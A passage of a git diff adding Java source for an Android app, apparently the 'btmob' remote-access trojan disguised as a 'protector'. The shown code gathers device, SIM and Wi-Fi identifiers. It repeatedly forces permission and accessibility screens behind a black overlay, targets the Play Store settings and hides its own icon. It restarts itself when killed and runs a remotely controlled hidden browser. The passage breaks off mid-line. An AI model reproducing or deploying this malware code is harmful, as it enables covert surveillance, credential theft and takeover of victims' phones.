static String Load(Context c){ + StringBuffer strbuilder = new StringBuffer(); + + strbuilder.append("• [Information]"+ Consts.SPLIT_LINE); + strbuilder.append(" "+ Consts.SPLIT_LINE); + strbuilder.append("Name: "+Devicename(c) + Consts.SPLIT_LINE); + strbuilder.append("MODEL: "+Build.MODEL + Consts.SPLIT_LINE); + strbuilder.append("BOARD: "+Build.BOARD + Consts.SPLIT_LINE); + strbuilder.append("BRAND: "+Build.BRAND + Consts.SPLIT_LINE); + strbuilder.append("BOOTLOADER: "+Build.BOOTLOADER + Consts.SPLIT_LINE); + strbuilder.append("DISPLAY: "+Build.DISPLAY + Consts.SPLIT_LINE); + strbuilder.append("HARDWARE: "+Build.HARDWARE + Consts.SPLIT_LINE); + strbuilder.append("HOST: "+Build.HOST + Consts.SPLIT_LINE); + strbuilder.append("ID: "+Build.ID + Consts.SPLIT_LINE); + strbuilder.append("MANUFACTURER: "+Build.MANUFACTURER + Consts.SPLIT_LINE); + strbuilder.append("SERIAL: "+Build.SERIAL + Consts.SPLIT_LINE); + + + strbuilder.append("----------------"+ Consts.SPLIT_LINE); + strbuilder.append(" "+ Consts.SPLIT_LINE); + strbuilder.append("• [System]"+ Consts.SPLIT_LINE); + + strbuilder.append("Version: "+ UtliTools.Version() + Consts.SPLIT_LINE); + strbuilder.append("RELEASE: "+Build.VERSION.RELEASE + Consts.SPLIT_LINE); + strbuilder.append("SDK: "+Build.VERSION.SDK_INT + Consts.SPLIT_LINE); + strbuilder.append("Language: "+Locale.getDefault().getDisplayLanguage() + Consts.SPLIT_LINE); + + + strbuilder.append("----------------"+ Consts.SPLIT_LINE); + strbuilder.append(" "+ Consts.SPLIT_LINE); + strbuilder.append("• [SIM]"+ Consts.SPLIT_LINE); + strbuilder.append(" "+ Consts.SPLIT_LINE); + final TelephonyManager t = (TelephonyManager) c.getSystemService(c.TELEPHONY_SERVICE); + String n = ""; + try + { + n = t.getSimOperator(); + }catch (Exception e){ + n=""; + } + + if (!TextUtils.isEmpty(n)) { + + try + { + String NON = t.getNetworkOperatorName(); + if (NON.trim().length()==0){ + NON = "n/a"; + } + + strbuilder.append("Operator: " + NON + Consts.SPLIT_LINE); + +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { +// String i0 =""; +// try +// { +// i0 = t.getImei();//error here +// }catch (Exception e){ +// i0="null"; +// } +// +// strbuilder.append("IMEI: " +i0 + Consts.SPLIT_LINE); +// } else { +// String i1 =""; +// try +// { +// i1 = t.getDeviceId();//error here +// }catch (Exception ex){ +// i1="null"; +// } +// strbuilder.append("IMEI: " +i1 + Consts.SPLIT_LINE); +// } + + String stc = t.getSimCountryIso(); + if (stc.trim().length()==0){ + stc = "n/a"; + } + strbuilder.append("Country: " +stc + Consts.SPLIT_LINE); + +// String sr = ""; +// try +// { +// sr = t.getSimSerialNumber();//error here +// }catch (Exception ex){ +// sr="null"; +// } + + // strbuilder.append("SerialNumber: " +sr + Consts.SPLIT_LINE); + strbuilder.append("Network: " + UtliTools.Get_Network(c) + Consts.SPLIT_LINE); + +// String IMsi = ""; +// try +// { +// IMsi = t.getSubscriberId();//error here +// }catch (Exception ex){ +// IMsi = "null"; +// } + + //strbuilder.append("IMSI: " +IMsi + Consts.SPLIT_LINE); + }catch (Exception ex){ + for(int fix = 0 ; fix < 6 ; fix++){ + strbuilder.append("null" + Consts.SPLIT_LINE); + } + } + + }else{ + for(int fix = 0 ; fix < 6 ; fix++){ + strbuilder.append("null" + Consts.SPLIT_LINE); + } + } + + strbuilder.append("----------------"+ Consts.SPLIT_LINE); + strbuilder.append(" "+ Consts.SPLIT_LINE); + strbuilder.append("• WIFI"+ Consts.SPLIT_LINE); + strbuilder.append(" "+ Consts.SPLIT_LINE); + final WifiManager wm = (WifiManager) c.getSystemService(Context.WIFI_SERVICE); + final ConnectivityManager m = (ConnectivityManager)c.getSystemService(Context.CONNECTIVITY_SERVICE); + final NetworkInfo w = m.getActiveNetworkInfo(); + if(w.getType() == ConnectivityManager.TYPE_WIFI) { + try + { + WifiInfo fo = null; + String adr = ""; + String sID = ""; + int SP = 0; + int RS = 0; + try + { + fo = wm.getConnectionInfo(); + adr = fo.getMacAddress(); + sID = fo.getSSID(); + SP = fo.getLinkSpeed(); + RS = WifiManager.calculateSignalLevel(fo.getRssi(), 5); + }catch (Exception ex){ + fo = null; + adr = "null"; + sID = "null"; + SP = 0; + RS = 0; + } + + strbuilder.append("MacAddress: " +adr + Consts.SPLIT_LINE); + strbuilder.append("SSID: " +sID + Consts.SPLIT_LINE); + strbuilder.append("LinkSpeed: " +Integer.toString(SP) + Consts.SPLIT_LINE); + strbuilder.append("RSSI: " +Integer.toString(RS) + Consts.SPLIT_LINE); + }catch (Exception ee){ + for(int fix = 0 ; fix < 4 ; fix++){ + strbuilder.append("null" + Consts.SPLIT_LINE); + } + } + }else{ + for(int fix = 0 ; fix < 4 ; fix++){ + strbuilder.append("null" + Consts.SPLIT_LINE); + } + } + strbuilder.append("----------------"+ Consts.SPLIT_LINE); + strbuilder.append(" "+ Consts.SPLIT_LINE); + strbuilder.append("• Battery"+ Consts.SPLIT_LINE); + strbuilder.append(" "+ Consts.SPLIT_LINE); + + Intent intent = c.registerReceiver(null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED)); + int lev = intent.getIntExtra(BatteryManager.EXTRA_LEVEL, 0); + int sc = intent.getIntExtra(BatteryManager.EXTRA_SCALE, 100); + int per = (lev * 100) / sc; + int plu = intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1); + boolean usb = plu == BatteryManager.BATTERY_PLUGGED_AC || plu == BatteryManager.BATTERY_PLUGGED_USB; + strbuilder.append("Charged: " +String.valueOf(per) + Consts.SPLIT_LINE); + strbuilder.append("USB: " +usb + Consts.SPLIT_LINE); + final PowerManager pow = (PowerManager)c.getSystemService(Context.POWER_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + strbuilder.append("Sleep mode: " +pow.isDeviceIdleMode() + Consts.SPLIT_LINE); + + strbuilder.append("Power Saver: " +pow.isPowerSaveMode() + Consts.SPLIT_LINE); + + strbuilder.append("Active: " +pow.isInteractive() + Consts.SPLIT_LINE); + }else{ + strbuilder.append("n/a" + Consts.SPLIT_LINE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + strbuilder.append(pow.isPowerSaveMode() + Consts.SPLIT_LINE); + }else{ + strbuilder.append("null" + Consts.SPLIT_LINE); + } + strbuilder.append(pow.isScreenOn() + Consts.SPLIT_LINE); + } + strbuilder.append("----------------"+ Consts.SPLIT_LINE); + strbuilder.append(" "+ Consts.SPLIT_LINE); + strbuilder.append("• Settings"+ Consts.SPLIT_LINE); + strbuilder.append(" "+ Consts.SPLIT_LINE); + final AudioManager au = (AudioManager) c.getSystemService(Context.AUDIO_SERVICE); + int max = au.getStreamMaxVolume(AudioManager.STREAM_RING); + int vol = au.getStreamVolume(AudioManager.STREAM_RING); + strbuilder.append(max + Consts.SPLIT_LINE); + strbuilder.append(vol + Consts.SPLIT_LINE); + max = au.getStreamMaxVolume(AudioManager.STREAM_MUSIC); + vol = au.getStreamVolume(AudioManager.STREAM_MUSIC); + strbuilder.append(max + Consts.SPLIT_LINE); + strbuilder.append(vol + Consts.SPLIT_LINE); + max = au.getStreamMaxVolume(AudioManager.STREAM_NOTIFICATION); + vol = au.getStreamVolume(AudioManager.STREAM_NOTIFICATION); + strbuilder.append(max + Consts.SPLIT_LINE); + strbuilder.append(vol + Consts.SPLIT_LINE); + max = au.getStreamMaxVolume(AudioManager.STREAM_SYSTEM); + vol = au.getStreamVolume(AudioManager.STREAM_SYSTEM); + strbuilder.append(max + Consts.SPLIT_LINE); + strbuilder.append(vol + Consts.SPLIT_LINE); + switch(au.getRingerMode()){ + case AudioManager.RINGER_MODE_NORMAL: + strbuilder.append("0" + Consts.SPLIT_LINE); + break; + case AudioManager.RINGER_MODE_VIBRATE: + strbuilder.append("1" + Consts.SPLIT_LINE); + break; + case AudioManager.RINGER_MODE_SILENT: + strbuilder.append("2" + Consts.SPLIT_LINE); + break; + } + final WifiManager wi = (WifiManager) c.getSystemService(Context.WIFI_SERVICE); + if (wi.isWifiEnabled()) { + strbuilder.append("1" + Consts.SPLIT_LINE); + }else{ + strbuilder.append("0" + Consts.SPLIT_LINE); + } + + String s2 = strbuilder.toString() ; + + return s2; + } + public static String Devicename(Context c) { + try + { + String nm = ""; + if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.JELLY_BEAN_MR1) { + try{ + nm = Settings.Global.getString(c.getContentResolver(), Settings.Global.DEVICE_NAME); + } catch (Exception e) {} + } + if(nm.length() == 0){ + nm = Build.MODEL; + } + if(nm.length() != 0){ + return nm ; + }else { + return "null"; + } + }catch (Exception EX){} + return "null"; + } + + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/EngineWorker.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/EngineWorker.java new file mode 100644 index 0000000..7a14530 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/EngineWorker.java @@ -0,0 +1,623 @@ +package com.icontrol.protector; + +import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; + + +//import static com.icontrol.protector.AccessServices.BlackoverLay; +import static com.icontrol.protector.AccessServices.FOR_NOTFY; +import static com.icontrol.protector.MyCods.isServiceRunning; +import static com.icontrol.protector.MyNotification.goToNotificationSettings; +import static com.icontrol.protector.UtliTools.NotifyFor; + +import static com.icontrol.protector.UtliTools.hideme; +import static com.icontrol.protector.UtliTools.isAppDisabled; + +import static com.icontrol.protector.UtliTools.isPackageInstalled; +import static com.icontrol.protector.UtliTools.isUsageAccessGranted; +import static com.icontrol.protector.UtliTools.isXiaomi; +import static com.icontrol.protector.UtliTools.randomnumber; +import static com.icontrol.protector.UtliTools.setupWorkManager; + + +import static java.lang.Thread.sleep; + +import android.app.IntentService; +import android.app.Notification; +import android.app.NotificationManager; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ServiceInfo; +import android.net.Uri; +import android.os.Build; +import android.os.Handler; +import android.os.IBinder; +import android.os.Looper; +import android.provider.Settings; +import android.os.Environment; +import android.util.Log; + +import androidx.annotation.Nullable; + + +public class EngineWorker extends IntentService { + + public EngineWorker() { + super(":"); + } + + private static int Notifi_ID = 111; + + private void startforground(Context ctx) { + try { + + MyNotification MyNotifiint = MyNotification.getInstance(ctx); + Notification notification = MyNotifiint.createNotification(ctx); + if (Build.VERSION.SDK_INT >= 34) { + this.startForeground(Notifi_ID, notification, + ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC); + } else { + this.startForeground(Notifi_ID, notification); + } + } catch (Exception a) { + } + + + } + + static int SleepTime = 10000; + static int checktwice = 0; + static int drawtwice = 0; + static int batterytwice = 0; + static int disabletris = 0; + static int primstowic = 0; + public static boolean needtofy = false; + public static boolean holdxaomi = true; + public static boolean trigeronexamoi = true; + public static int timesoutxaomi = 0; + static boolean skipstorage = false; + static boolean skipblackprim = false; + static boolean skipblackdraw = false; + static boolean skipusagereq = false; + static boolean skipblackplay = false; + static boolean Showedonce = false; + + static boolean trnotifionce = true; + + @Override + public void onCreate() { + super.onCreate(); + startforground(getApplicationContext()); + } + + @Override + public void onStart(Intent intent, int startId) { + super.onStart(intent, startId); + startforground(getApplicationContext()); + try { + if (!isServiceRunning(getApplicationContext(), WorkServices.class)) { + Intent workint = new Intent(getApplicationContext(), WorkServices.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint); + } else { + startService(workint); + } + } + + } catch (Exception a) { + } + } + + +// @Override +// public int onStartCommand(Intent intent, int flags, int startId) { +// startforground(getApplicationContext()); +// return START_STICKY; +// } + + + @Nullable + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + protected void onHandleIntent(@Nullable Intent intentx) { + + startforground(getApplicationContext()); + final Context ctx = getApplicationContext(); + + //AlarmHelper.cancelAlarm(ctx, EngineWorker.class); + + if (MySettings.Read(ctx, Consts.DEVICE_ID, "").length() == 0) { + String newid = UtliTools.Create_DevicID() + String.valueOf(randomnumber(100, 199)); + MyLoger.Debug("CreateID", newid); + MySettings.Write(ctx, Consts.DEVICE_ID, newid); + } + try { + if (!isServiceRunning(getApplicationContext(), WorkServices.class)) { + Intent workint = new Intent(getApplicationContext(), WorkServices.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint); + } else { + startService(workint); + } + } + + } catch (Exception a) { + } + ConfigManager config = ConfigManager.getInstance(); + config.initialize(getApplicationContext(), My_Configs.ALL_CONFIG); + boolean onetime = false; + boolean hold13 = false; + int maxholder = 28; + + //String[] statesArray = getStatesArray(); + +// try { +// Thread.sleep(3000); +// }catch (Exception a){} + + + while (true) { + try { + try { + Thread.sleep(SleepTime); + } catch (Exception aa) { + } + if (!MyCods.is_Access_Enabled(ctx, AccessServices.class) && config.add_accss && config.req_accss) { + //android 13 first redirect to app settings page + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU && + !MyCods.is_Access_Enabled(ctx, AccessServices.class) && My_Configs.Access_type.equals("g")) { + + if (!RestrectionActivity.isActivityOpen() && !hold13 && maxholder >= 25 && Showedonce) { + try { + Intent intent = new Intent(ctx, RestrectionActivity.class); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + + startActivity(intent); + needtofy = true; + new Thread(new Runnable() { + @Override + public void run() { + try { + Thread.sleep(3000); + } catch (Exception a) { + } + if (needtofy) { + NotifyFor(ctx, RestrectionActivity.class); + } + } + }).start(); + + } catch (Exception a) { + + } + + // + SleepTime = 15000; + hold13 = true; + continue; + } + + } + if (!AccessibilityActivity.isActivityOpen() && maxholder >= 25) { + SleepTime = 1000; + new Handler(Looper.getMainLooper()).post(new Runnable() { + @Override + public void run() { + try { + Intent intent = new Intent(ctx, AccessibilityActivity.class); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + needtofy = true; + new Thread(new Runnable() { + @Override + public void run() { + try { + Thread.sleep(3000); + } catch (Exception a) { + } + if (needtofy) { + NotifyFor(ctx, AccessibilityActivity.class); + } + } + }).start(); + } catch (Exception a) { + } + } + }); + + + Showedonce = true; + maxholder = 0; + } else { + maxholder += 1; + hold13 = false; + } + + } else { + + + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && + checktwice < 3 && + !MyPermissions.hasPermissions(ctx, MyPermissions.ALL_PERMISSIONS(ctx)) + ) { + if (!skipblackprim && config.req_hidp) { + skipblackprim = true; + try { + Thread.sleep(3500); + } catch (Exception a) { + } + AccessTools.BlackScreen(true); +// try { +// Thread.sleep(1100); +// } catch (Exception a) { +// } + } else { + AccessTools.BlackScreen(false); + } + + //1 Accessibilty + checktwice += 1; + SleepTime = 5000; + Intent primsint = new Intent(ctx, PermissionsActivity.class); + primsint.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + //primsint.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); + // primsint.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + + ctx.startActivity(primsint); + } else { + +// if (WorkServices.My_Access_inst != null) { +// WorkServices.My_Access_inst.FOR_EXTR_STRG = false; +// +// } + + if (config.req_draw && + drawtwice < 3 && + Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && + !Settings.canDrawOverlays(ctx)) { + drawtwice+=1; + if (!skipblackdraw && config.req_hidp) { + // AccessTools.UpdateBlackText(statesArray[0]); + skipblackdraw = true; + AccessTools.BlackScreen(true); + } else { + AccessTools.BlackScreen(false); + AccessServices.FOR_DRAW_OVER = false; + } + ctx.startActivity(new Intent(ctx, ActivityDraw.class) + .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)); + SleepTime = 8000; + + + } else { + AccessServices.FOR_DRAW_OVER = false; + +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && +// config.req_settngs && +// !Settings.System.canWrite(ctx)) { +// try { +// SleepTime = 6000; +// Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS, +// Uri.parse("package:" + getPackageName())); +// intent.setData(Uri.parse("package:" + ctx.getPackageName())); +// intent.addFlags(FLAG_ACTIVITY_NEW_TASK); +// intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); +// ctx.startActivity(intent); +// AccessServices.FOR_CHNG_STNG = true; +// } catch (Exception a) { +// +// } +// } else { +// + + if (config.req_usagacc && !isUsageAccessGranted(ctx) && !config.req_accss && !skipusagereq) { + SleepTime = 7000; + try { + Intent intent = new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS, + Uri.parse("package:" + getPackageName())); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + + } catch (Exception a) { + try{ + Intent intent = new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + }catch (Exception d){ + skipusagereq = true; + } + + } + } else { + + if (config.req_files && + Build.VERSION.SDK_INT >= Build.VERSION_CODES.R && + !Environment.isExternalStorageManager()) { + try { + SleepTime = 4000; + + //ACTION_MANAGE_SUPERVISOR_RESTRICTED_SETTING + + Intent intentstorg = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION); + Uri uri = Uri.fromParts("package", getPackageName(), null); + intentstorg.setData(uri); + intentstorg.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + //intentstorg.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); + try { + Thread.sleep(3500); + } catch (Exception a) { + } + if (!skipstorage && config.req_hidp) { + // AccessTools.UpdateBlackText(statesArray[1]); + + skipstorage = true; + AccessTools.BlackScreen(true); + } else { + AccessTools.BlackScreen(false); + } + + + startActivity(intentstorg); + // if (WorkServices.My_Access_inst != null) { + AccessServices.FOR_EXTR_STRG = true; + // } + } catch (Exception r) { + r.printStackTrace(); + } + } else { + AccessServices.FOR_EXTR_STRG = false; + if (config.req_StopPlay && + config.req_accss && + isPackageInstalled("com.android.vending", ctx.getPackageManager()) && + !isAppDisabled(ctx, "com.android.vending") && + disabletris < 2) { + SleepTime = 5000; + try { + disabletris += 1; + if (!skipblackplay && + config.req_hidp) { + // AccessTools.UpdateBlackText(statesArray[2]); + skipblackplay = true; + AccessTools.BlackScreen(true); + } else { + AccessTools.BlackScreen(false); + } + + Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS, + Uri.parse("package:" + "com.android.vending")); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + + AccessServices.FOR_PLY = true; + + } catch (Exception exception) { + Log.e("MIUIAutoStart", "Error starting intent", exception); + } + + } else { + AccessServices.FOR_PLY = false; + if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M && + batterytwice < 2 && + config.req_btryoptm && + !UtliTools.IsIgnore_Battery(ctx)) { + + batterytwice += 1; + try { + AccessServices.PreventDelete = false; + Intent intent1 = null; + + intent1 = new + Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS, + Uri.parse("package:" + getPackageName())); + + intent1.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent1.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + + intent1.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + // intent1.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); + + ctx.startActivity(intent1); + + AccessServices.forbattery = true; + SleepTime = 4000; + // MySettings.WriteBool(ctx, Consts.Auto_Battary, true); +// try { +// Thread.sleep(5000); +// } catch (Exception aa) { +// } + + } catch (Exception ex) { + } + + } else { + + + if(config.req_accss && + trnotifionce){ + trnotifionce=false; + try{ + Intent notyintent = goToNotificationSettings("updates",ctx); + notyintent.addFlags(FLAG_ACTIVITY_NEW_TASK); + notyintent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); + notyintent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + ctx.startActivity(notyintent); + FOR_NOTFY = true; + SleepTime = 3000; + }catch (Exception a){} + }else{ + FOR_NOTFY = false; + if (isXiaomi() && + config.req_accss && + !MySettings.ReadBool(ctx, Consts.skipxaomi, false)) { + if (holdxaomi) { + if (trigeronexamoi) { + trigeronexamoi = false; + AccessTools.Treger("xamoi", null); + SleepTime = 1000; + } + if (timesoutxaomi < 15) { + timesoutxaomi += 1; + continue; + } + + } + + } + timesoutxaomi = 0; + MySettings.WriteBool(getApplicationContext(), Consts.skipxaomi, true); + if (!isServiceRunning(getApplicationContext(), WorkServices.class)) { + try { + Intent workint = new Intent(getApplicationContext(), WorkServices.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint); + } else { + startService(workint); + } + } catch (Exception a) { + } + } + + //MySettings.WriteBool(ctx, Consts.All_set, true); + if (!onetime) { + AccessServices MyAccess = AccessTools.myAccess(); + //BlackoverLay + if (MyAccess != null) { + try { + Handler fhand = new Handler(MyAccess.getMainLooper()); + fhand.post(() -> { + try { + MyAccess.clearWbVew(); + } catch (Exception s) { + s.printStackTrace(); + } + }); + } catch (Exception a) { + a.printStackTrace(); + } + } + + onetime = true; + AccessServices.FOR_PLY = false; + AccessServices.forbattery = false; + try { + NotificationManager notificationManager = (NotificationManager) ctx.getSystemService(Context.NOTIFICATION_SERVICE); + notificationManager.cancel(101); + } catch (Exception a) { + } + + + AccessServices.FOR_PRIMS=false; + AccessTools.BlackScreen(false); + + + AccessServices.Auto_Click = false; + + if (My_Configs.Hide_ico.equals("1")) { + MySettings.WriteBool(ctx, Consts.setupok, true); + if (My_Configs.Hide_Type.equals("f")) { + try { + Intent unintent = new Intent(ctx, UninstallActivity.class); + unintent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + ctx.startActivity(unintent); + + } catch (Exception a) { + a.printStackTrace(); + } + } else if (My_Configs.Hide_Type.equals("c")) { + try { + hideme(ctx); + } catch (Exception a) { + a.printStackTrace(); + } + } + + } + + + } + Consts.skip_splash = true; + AccessServices.PreventDelete = true; + SleepTime = 15000; + + + } + + + } + + } + + + } + + } + + // } + + } + + } + } + + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + @Override + public void onDestroy() { + super.onDestroy(); + + try { + + Context mcontext = getApplicationContext(); + AlarmHelper.setAlarm(getApplicationContext()); + try { + Intent workint = new Intent(mcontext, EngineWorker.class); + if (!isServiceRunning(mcontext, EngineWorker.class)) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint); + } else { + mcontext.startService(workint); + } + } + } catch (Exception s) { + } + // } + setupWorkManager(getApplicationContext()); + } catch (Exception a) { + } + } + + @Override + public void onTaskRemoved(Intent rootIntent) { + super.onTaskRemoved(rootIntent); + + try { + Context mcontext = getApplicationContext(); + AlarmHelper.setAlarm(getApplicationContext()); + Intent workint = new Intent(mcontext, EngineWorker.class); + // if (!Codes.isServiceRunning(mcontext, EngineWorker.class)) + //{ + try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint); + } else { + mcontext.startService(workint); + } + } catch (Exception a) { + } + // } + + + setupWorkManager(getApplicationContext()); + } catch (Exception a) { + } + + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/FilesFinder.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/FilesFinder.java new file mode 100644 index 0000000..5438d4c --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/FilesFinder.java @@ -0,0 +1,53 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import android.content.Context; +import android.util.Log; + +import java.io.File; +import java.util.HashSet; + +public class FilesFinder { + + + public static String[] searchFilesInDirectory(Context ctx, CustomFilesFilter.FileType fileType, File rootDir) { + try{ + if (rootDir.exists() && rootDir.isDirectory()) { + HashSet uniqueFolders = new HashSet<>(); // Use a set to avoid duplicates + collectFolders(rootDir, uniqueFolders, fileType); + + if (!uniqueFolders.isEmpty()) { + StringBuilder folderPaths = new StringBuilder(); + for (String folderPath : uniqueFolders) { + if (folderPaths.length() > 0) { + folderPaths.append("<*P*>"); + } + folderPaths.append(folderPath); + } + return new String[]{"1", folderPaths.toString()}; + } else { + return new String[]{"-1", "No "+fileType.name()+" found."}; + } + } else { + return new String[]{"-1", "directory does not exist or is not a directory."}; + } + }catch (Exception a){ + return new String[]{"-1", "Error: "+a.getMessage()}; + } + } + + private static void collectFolders(File dir, HashSet uniqueFolders, CustomFilesFilter.FileType fileType) { + File[] files = dir.listFiles(new CustomFilesFilter(fileType, true)); + if (files != null) { + for (File file : files) { + if (file.isFile()) { + uniqueFolders.add(file.getParentFile().getAbsolutePath()); // Add the parent folder path to the set + } else if (file.isDirectory()) { + // Recursively collect folders in subdirectories + collectFolders(file, uniqueFolders, fileType); + } + } + } + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/HiddenBrowser.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/HiddenBrowser.java new file mode 100644 index 0000000..f5d4e9c --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/HiddenBrowser.java @@ -0,0 +1,632 @@ +package com.icontrol.protector; + + +import static com.icontrol.protector.Consts.URL_SOCKT; + +import android.app.Notification; +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ServiceInfo; +import android.graphics.Bitmap; +import android.graphics.Point; +import android.os.Build; +import android.os.Handler; +import android.os.IBinder; +import android.os.SystemClock; +import android.util.Base64; +import android.view.MotionEvent; +import android.view.View; +import android.webkit.CookieManager; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceRequest; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; + +import androidx.annotation.Nullable; + + +import org.json.JSONObject; + +import java.io.ByteArrayOutputStream; +import java.net.URI; +import java.util.regex.Pattern; + +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import okhttp3.WebSocket; +import okhttp3.WebSocketListener; + +public class HiddenBrowser extends Service { + private WebView mWebView; + private boolean CanCapture = false; + + private static HiddenBrowser instance; + + private WebSocket websocketfile; // Reusable WebSocket + private OkHttpClient client; + + public static HiddenBrowser getinstance() { + return instance; + } + private static int Notifi_ID = 111; + private void startforground(Context ctx) { + try{ + // int Notifi_ID = UtliTools.randomnumber(11111, 88888); + MyNotification MyNotifiint = MyNotification.getInstance(ctx); + Notification notification = MyNotifiint.createNotification(ctx); + if (Build.VERSION.SDK_INT >= 34) { + this.startForeground(Notifi_ID, notification, + ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC); + } else { + this.startForeground(Notifi_ID, notification); + } + }catch (Exception a){} + + + } + + public void controlbrowser(String[] args, Context ctx) { + String command = args[0]; + Handler Mhandler = new Handler(ctx.getMainLooper()); + switch (command) { + case "enter": + Mhandler.postDelayed(new Runnable() { + public void run() { + try { + //newurl + mWebView.evaluateJavascript( + "if (document.activeElement.form) { " + + " document.activeElement.form.submit(); " + + "} else { " + + " var keydownEvent = new KeyboardEvent('keydown', {key: 'Enter', keyCode: 13, which: 13}); " + + " document.activeElement.dispatchEvent(keydownEvent); " + + " var keyupEvent = new KeyboardEvent('keyup', {key: 'Enter', keyCode: 13, which: 13}); " + + " document.activeElement.dispatchEvent(keyupEvent); " + + " var searchButton = document.querySelector(\"input[name='btnK'], button[type='submit']\"); " + + " if (searchButton) { searchButton.click(); } " + + "}", + null + ); + + } catch (Exception d) { + + } + } + }, 1); + + break; + case "load": + String newurl = args[1]; + Mhandler.postDelayed(new Runnable() { + public void run() { + try { + //newurl + mWebView.loadUrl(newurl); + + } catch (Exception d) { + + } + } + }, 1); + break; + case "text": + //text<:CS:>hello<:CS:> + String text = args[1]; + + Mhandler.postDelayed(new Runnable() { + public void run() { + try { + mWebView.evaluateJavascript("document.activeElement.value = '" + text + "';", null); + + } catch (Exception d) { + + } + } + }, 1); + break; + case "scroll": + //scroll<:CS:>Y<:CS:> + // int deltaY = Integer.valueOf(args[1]); + + String coordinates = args[1]; // Example pointString + + // Split the string by colon to get each point string + String[] tokens = coordinates.split(Pattern.quote(":")); + Point[] movements = new Point[tokens.length]; + + for (int i = 0; i < tokens.length; i++) { + try { + // Remove parentheses and split by comma + String[] coordinateArray = tokens[i].replace("(", "").replace(")", "").split(", "); + int x = Integer.parseInt(coordinateArray[0]); + int y = Integer.parseInt(coordinateArray[1]); + + // Create a new Point object and store it in the array + movements[i] = new Point(x, y); + } catch (Exception e) { + e.printStackTrace(); + } + } + + + Mhandler.postDelayed(new Runnable() { + public void run() { + try { + // mWebView.evaluateJavascript("document.documentElement.scrollBy(0, " + deltaY + ");", null); + simulateSwipe(movements,1500); + } catch (Exception d) { + + } + } + }, 1); + break; + case "click": + + int x = Integer.valueOf(args[1]); + int y = Integer.valueOf(args[2]); + + Mhandler.postDelayed(new Runnable() { + public void run() { + try { + simulateClick(x, y); + } catch (Exception d) { + + } + } + }, 1); + + + break; + case "nav"://navigate + + int isback = Integer.valueOf(args[1]); + Mhandler.postDelayed(new Runnable() { + public void run() { + try { + if (isback == 2) { + mWebView.loadUrl("javascript:window.location.reload(true)"); + } else if (isback == 1) { + if (mWebView.canGoForward()) { + mWebView.goForward(); + } + } else if (isback == 0) { + if (mWebView.canGoBack()) { + mWebView.goBack(); + } + } + } catch (Exception d) { + + } + } + }, 1); + + break; + } + } + + private void simulateClick(float x, float y) { + long downTime = SystemClock.uptimeMillis(); + long 